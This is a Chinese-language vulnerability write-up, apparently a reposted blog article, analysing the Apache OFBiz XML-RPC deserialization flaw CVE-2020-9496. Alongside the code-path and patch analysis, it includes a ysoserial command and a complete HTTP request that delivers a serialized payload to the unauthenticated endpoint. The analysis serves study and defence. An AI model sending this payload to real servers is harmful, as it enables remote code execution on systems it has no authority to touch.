浅析Ofbiz反序列化漏洞(CVE-2020-9496)

  • A+
所属分类:代码审计

0x01 基础知识

Apache Ofbiz简介

OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

OFBiz 已经正式成为 Apache 的顶级项目: Apache OFBiz。

XML-RPC

简介

XML-RPC是一个规范和一组实现,允许软件在不同的操作系统上运行,在不同的环境中运行以通过网络进行过程调用。

XML-RPC是使用 HTTP 作为传输和 XML 作为编码的远程过程调用。XML-RPC 被设计得尽可能简单,同时允许传输、处理和返回复杂的数据结构。

XML-RPC请求与数据类型

  • XML-RPC请求响应相关内容具体参考:http://xmlrpc.com/spec.md

  • XML-RPC数据类型具体参考:https://ws.apache.org/xmlrpc/types.html

这里只看和PoC中构造相关的内容。

XML-RPC请求示例:

POST /RPC2 HTTP/1.0User-Agent: Frontier/5.1.2 (WinNT)Host: betty.userland.comContent-Type: text/xmlContent-length: 181<?xml version="1.0"?><methodCall>    <methodName>examples.getStateName</methodName>    <params>        <param>            <value><i4>41</i4></value>        </param>    </params></methodCall>

简单说明:

  • XML-RPC请求的Content-Type为text/xml

  • XML-RPC请求内容的根标签为<methodCall>,而该标签下必须有<methodName>子标签来指定调用的方法名;

  • 如果过程调用有参数,<methodCall>必须包含一个<params>子标签,<params>子标签可以包含任意数量的<param>,每个都有一个<value>标签来指定参数值内容;

  • 其中<value>标签中的参数值默认为string类型,可以指定<struct>类型子标签、其中包含<member>并且每个<member>包含一个<name>和一个<value>

如果XML-RPC服务端设置了enabledForExtensions,那么就支持附加的数据类型,其中包括<serializable>标签,其中的内容为一个对象被转换为序列化的表示形式并作为Base64编码的字节数组。

0x02 漏洞原理

在17.12.04之前版本的Ofbiz中,其中的未授权访问XMLRPC接口/webtools/control/xmlrpc存在反序列化漏洞,攻击者可通过该接口实现RCE。

0x03 影响版本

< 17.12.04

0x04 环境搭建

参考Vulhub:https://vulhub.org/#/environments/ofbiz/CVE-2020-9496/

0x05 漏洞复现

使用ysoserial生成payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping -nc 1 ofbiz.xudce2.dnslog.cn" | base64 | tr -d "n"

/webtools/control/xmlrpc接口发送payload,base64-payload换为生成的payload内容:

POST /webtools/control/xmlrpc HTTP/1.1Host: your-ipContent-Type: application/xmlContent-Length: 4093<?xml version="1.0"?><methodCall>  <methodName>ProjectDiscovery</methodName>  <params>    <param>      <value>        <struct>          <member>            <name>test</name>            <value>              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>            </value>          </member>        </struct>      </value>    </param>  </params></methodCall>

冲:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

0x06 漏洞分析

根据漏洞接口/webtools/control/xmlrpc找到webtools应用目录。

先看到配置文件framework/webtools/webapp/webtools/WEB-INF/web.xml,其中设置了enabledForExtensions为true来使得XML-RPC支持<serializable>这种标签进行Java序列化数据的传输:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

而其中看到针对/control/接口的处理是由org.apache.ofbiz.webapp.control.ControlServlet来操作的:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

到ControlServlet类中,看到doPost()实际调用的就是doGet()、其中先调用getRequestHandler()函数来初始化orgapacheofbizwebappcontrolRequestHandler类,而RequestHandler类在初始化时会从/WEB-INF/controller.xml配置文件中获取控制器URL配置即请求URL映射表,然后设置对应的ViewFactory和EventFactory:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

/WEB-INF/controller.xml中查看,对应xmlrpc URI的URL配置中,在<security>标签中并没有设置对应的auth选项、默认为false即不需要身份验证,这就导致了本次未授权RCE的存在:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

回到doGet()函数中,往下会调用刚刚新建的RequestHandler类对象的doRequest()函数进一步处理请求,其中会调用runEvent()函数来根据Event类型调用对应EventHandler的invoke()函数,这里实际调用就是前面初始化RequestHandler类对象时设置的XmlRpcEventHandler的invoke()函数、其中先调用getXmlRpcConfig()函数获取XmpRpc相关配置(开启enabledForExtensions)、然后再调用execute()函数作进一步处理:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

跟进去,其中调用getRequest()函数来获取XmlRpcRequest类实例,在getRequest()函数中则是通过设置XmlRpcRequestParser作为ContentHandler,然后在解析前对XXE进行了防御:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

往下,就是采用SAX的方式来解析XML内容的过程了,调用过程大致为:SAXParserImpl类parse()->XML11Configuration类parse()->XMLDocumentFragmentScannerImpl类scanDocument()->XMLDocumentScannerImpl#PrologDispatcher类dispatch(),在dispatch()中触发扫描XML内容。

其中具体的扫描解析过程这里不多说,直接看到后面是会调用之前设置的ContentHandler.startElement()即XmlRpcRequestParser.startElement()来开始扫描元素、其支持对methodCall、methodName、params、param、value等标签的解析,如果非上述标签则调用父类RecursiveTypeParserImpl.startElement()来进行解析、其中由于typeParser类型解析器为空会调用到getParser()函数来获取对应的解析器进行元素解析:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

这里是调用的TypeFactoryImpl类的getParser()函数来根据标签类型获取对应的解析器。这里只关注看到本次漏洞关键的serializable标签的部分即可,在解析过程中识别到是serializable标签就会返回SerializableParser(当然,在getParser()函数中看到获取到SerializableParser前需要满足一个前提条件即xmlns必须为http://ws.apache.org/xmlrpc/namespaces/extensions,这就是为啥构造PoC的serializable标签要带上含有该属性值的原因):

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

跟进SerializableParser中,由于解析获取完serializable标签的内容后,会调用该类的getResult()函数来获取解析结果,而该函数中会直接调用readObject()进行反序列化操作,从而导致反序列化漏洞的存在:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

至此,大致触发流程就分析完了。

0x07 补丁分析

官方更新:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a#diff-bb54e344de72488b4e358a9d8fd385a5d9a6aea32d7236e7c268889f6ba3a8f6

就是给该/webtools/control/xmlrpc接口添加了认证,杜绝了未授权RCE:

浅析Ofbiz反序列化漏洞(CVE-2020-9496)

0x08 参考

Apache Ofbiz RCE (CVE-2020-9496) 漏洞分析


原文始发于微信公众号(98KSec):浅析Ofbiz反序列化漏洞(CVE-2020-9496)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: